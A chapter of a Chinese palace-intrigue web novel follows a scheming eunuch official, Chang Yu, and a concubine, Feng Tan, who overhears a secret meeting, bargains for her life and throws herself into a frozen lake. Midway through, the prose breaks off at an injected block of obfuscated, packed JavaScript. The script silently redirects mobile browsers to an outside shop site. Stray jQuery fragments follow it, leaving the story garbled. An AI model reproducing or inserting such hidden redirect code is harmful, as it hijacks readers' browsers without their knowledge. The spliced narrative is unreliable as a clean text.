“之前那件玉色锦衣,本宫瞅着你穿甚是好看,”她忽然提及:“怎么后来不见你穿了?”
铜镜里,常聿的眼睛转向她,一双深邃的凤眸似若深不见底的寒潭,顽劣的笑意挂在嘴边:“先前穿它着了脏东西,微臣已经扔了。”
“真是可惜了你这张脸,若你不是个内侍官,”慎贵妃情绪难掩低落,顺势拉下他的手,将脸放到掌心蹭了蹭:“本宫在这深宫中,能有你相伴在侧,倒也对陛下省了不少盼头。”
常聿垂着眼,羽睫折着光,堪堪遮住眼底的神情。
慎贵妃感觉到他手中的动作一顿。
她想,常聿应该也是高兴的。
“……“
她心中暗喜,玉指摩挲常聿手掌。
几乎是才触到他肌肤表面,常聿玩味的瞟她一眼,随后抽出手。
他神色平淡地为她盘好发髻,镜中两人视线相撞,慎贵妃对上他那漆冷的眸子,一瞬只觉如坠酷寒。
.....这么多年了,饶她愿意放低姿态对他至此,他依旧是这副不为所动的模样。
羞愤、不甘在这一刻将她内心浸满。
*
“大人,”蛮枝见常聿回来,转身跟了过去道:“已经依您的话,将前几日东宫生辰遇刺的消息放出去了。”
“朝廷向来是牵一发而动全身。所以即使陛下这几年来一直冷落皇后,两人在表面功夫上却也默契地做的体面。皇后现在唯一能依靠的就只有东宫,经此一事,她在皇帝那里凉了心,一时半会儿也热不起来,帝后不合的消息坐实了。”
常聿仔细擦着手,声线平淡凉薄地说道:“接下来,就要看前朝那群老狐狸谁最先坐不住了。”
“先前的事,进展的如何了?”
蛮枝道:“姜沈两家的动向,一切都在大人预料之中。”
常聿散漫扬眉,脸上总算是有了点笑意:“沈家作为慎贵妃的母家,又有兵权在手,如今在前朝又是自成一派,薄待不得。”
蛮枝唇角一勾:“属下明白的。”
*
旧年的最后一场冬雪毫不吝啬的下至除夕才舍得破晴。
明烛敞亮的金銮殿内,帝王坐于高台,龙颜大悦道:“近几年来,临界敌国屡犯我朝边境,今边关快马传信回京,我朝士兵在战场上各显神威,大获全胜!骠骑大将军不日即将凯旋,又恰逢如此瑞雪良景,实为开年吉兆。”
众人闻此齐齐举杯,与天子同乐。
“你父兄在书信中慰问起你,”帝王对席下的慎贵妃道:“待他们还朝之日,朕带你一同前去迎接。”
慎贵妃欣喜道:“臣妾谢主隆恩。”
“……”席的末端,逢潭百无聊赖地坐着,偶尔被几个叫不出的妃子调侃两句,她也附和着笑而不语。
那些人见她反应平平,发觉在她身上没了趣,也就没再执着与她多言。
反观跟着逢潭出来的影莲,倒是看上去兴致极高,一双杏眼乌亮亮的,从进门的那一刻起就开始不知道要该往哪放。
逢潭不甚在意地将这一切收近眼底,任由影莲乐享其中,无意戳破。
她默然地扫了一眼四周,趁帝王与一王爷闲谈的空余,悄无声息地抽身溜了出去。
凛然的凉意骤然袭卷,她不禁下意识地打了个哆嗦。
原本还处于微醺的醉意,瞬间消散了不少。
“逢妹妹身子可是见好了?”
是谁?
逢潭被人从身后叫住。
她不紧不慢地回过头,眼睛在为首的女人身上稍作停留,仔细回忆一番,发觉自己对她并没有印象。
想来那日在承欢殿,她是不在场的。
逢潭不知该作何称呼,只得礼貌地福了福身。
不得不说在这宫中伺候的都是极具眼力见的,女人的宫婢仅一眼便瞧出了她的局促:“我家贵人是玟嫔娘娘。”
逢潭莞尔颔首:“娘娘万安。”
“承蒙娘娘惦记,嫔妾已然好了不少。”
玟嫔充耳未闻般地怔怔地瞧着她好一会儿,直至身那宫婢在耳边轻声提醒了一声,这才顿然回过神来。
“伺候妹妹的宫人何在?外面这样寒凉,怎么不见给妹妹多披件衣裳?”玟嫔语中饱含关切:“若是再着了风,可该如何是好。”
逢潭浅浅一笑道:“嫔妾许久未见这样的场合了,一时觉得拘束,就想偷偷溜出来透会儿气,等下就回去了。”
玟嫔道:“正巧我欲往金銮殿去,妹妹与我一道走吧?”
“.......”可她才刚出来。
逢潭心中犹豫,随后朝她又是一个福身,委婉地驳了她的意:“娘娘先前面走吧,嫔妾眼下还有些吃醉。”
玟嫔听出了她言下的推辞之意,便也没再强迫。
逢潭的视线随着玟嫔的背影走远,脑中浮现方才玟嫔看她时,眼神中饱含的那份复杂情绪,心中泛起几许不明。
她掀眼看了一圈周围。
这里的确是只有她一人。
可.....她与玟嫔这是头一次见面,但玟嫔方才投过来的眼神当真是在看她吗?
随后,不过眨眼的间隙。
一道黑影从她面前飞闪而过,速度快的惊人。
“......”逢潭迟疑地愣顿几秒。
反应过来,紧步循着黑影的方向跟了过去。
她远远躲在树后,虚虚看见那道黑影穿过阶廊走到湖心中央。
只见那湖心的凉亭下,那黑衣人朝面前之人躬身行礼,布宴的附近总是异常甯宓,逢潭隐隐约约听见几个轻飘飘的细末尾音。
她由然拧眉,小幅度的往前挪动身子,试图听得再真切一点。
谁料逢潭才刚微微动身,头顶的发髻勾上身侧的草枝,随着她的动作,竟在这静闷的黑暗里,发出了尤为突兀的声响。
凉亭里的人敏锐地察觉到这边异样,低呵道:“谁在那?!”
……他爹的!!!!
逢潭几乎是在被发现的那一刹那间,转头拔腿就跑。
可无奈因着双方身手悬殊,她才将将跑出不过几十米的距离,就被那黑衣人三两下的飞身拦路在前。
与之同时,他迅雷不及地一把掐住逢潭脖子,将她重重摔到后面的岸边朱漆石柱上。
“……”
逢潭被撞的头脑发晕,眼前黑白,额间更是因缺氧导致的青筋极度暴起。
“.....是你。”
就在她几近窒息时,忽闻一道轻呵,似曾相识的浅薄嗓音入耳。
她眼睛堪堪睁开一条缝隙,喉间艰难地挤出几个字:“....常....聿?”
常聿目光冰凉,望向她时,黑眸更是溢出危险的骇意。
默了两秒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143231|150190||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他朝黑衣人斜睨一眼,沉声道:“放开她。”
黑衣人没有得到预料的指令,神色尚有顿然和万分难以置信。
即便如此,下一刻他仍是了然松手,对男人的话不敢有半点违逆。
逢潭失了力,身子一软,瘫倒在地上。
常聿踱步上前,仿佛欣赏玩物一样盯凝她的惨相。
他挑了挑眉,漫不经心道:“还真是不巧。”
“又叫贵人撞上了。”
逢潭好似一滩水般趴在地上大口咳息,冷气强硬进体,如刀滚喉,辣的人口鼻生疼。
黑衣人小心翼翼地提醒:“主子,此人留不得。”
逢潭强撑起脱了力的身子,翻眼去看常聿,像是怕他真的听了这人的话。
她顾不得气息紊乱,声音沙哑打着颤开口:“....你不能杀我。”
常聿闻言,似是听到了一个极大的玩笑话,阴沉的俊脸噙起一抹诡异的笑,他冷嗤道:
“那贵人不妨给臣一个不杀的理由。”
幽暗湖边,唯有几盏朦胧的灯笼依靠着只剩残心的烛火与湖面相映,水面隐隐泛着微弱的亮光。
“骠骑大将军是慎贵妃父亲,你与她联手,无非就是想借她背后沈家之手,割裂帝后一党的势力。”
常聿似笑非笑地望着她。
逢潭喉咙滚动:“可是沈家留不得。”
“哦?”常聿身体微微前倾,手臂泠然环抱于胸前。
逢潭道:“方才在席间,陛下面上虽为战事获胜大喜,然在他与一王爷的交谈中,我听出了两人双簧下,言外的忌惮之意。”
常聿面不改色地等她继续说。
“沈家手握重兵,族中男丁战功赫赫,女儿在后宫又居位高权重的贵妃之位,如果我没猜错的话……他们在前朝势必也已然养成了一股可以自握的势力。”
“你不好控制的。”
常聿剑眉微挑,垂眼凝注着她:“....所以?”
“比起沈家,逢家家势绵薄,更利于你掌控。且我不似贵妃那般有野心,心中更无磅礴的鸿鹄之志,只求能在宫中安稳度日。”
“上次大人愿意留我一命,”逢潭目光如炬地直视他,一字一顿道:“为的难道不就是今后的这时?”
“......”
话落良久,常聿轻阖双目,情绪不显。逢潭心中有些拿捏不住。
正当她欲再次对面前之人进行新一轮的衡量跟示好时,周围的湖边小道上,倏然传来一阵轻浅的脚步声。
——有人来了。
逢潭眉眼瞬然冷了下来。
眼下他们虽身处暗地,可单借薄光仍依稀可见人影轮廓,四下没有能够避身的遮挡物,从而使得十分显眼。
若是此景被人发现,常聿是帝王眼前的人,于他而言或许没有多大影响,但于自己就不好说了……
逢潭咬了咬牙,扶着柱子勉强站稳身形。
“....常聿,我借你条命,你给我个机会。”
说完,她不带半点犹豫地踩上周边围栏,更是不容常聿拒绝地纵身一跳,没入薄冰刺骨的湖水中。
“——快来人啊!有人落水了!”
那路过的宫人闻声,立马转身小跑去喊人。
“.......”
好冷……
亦如那年她险些死去的那个冬夜。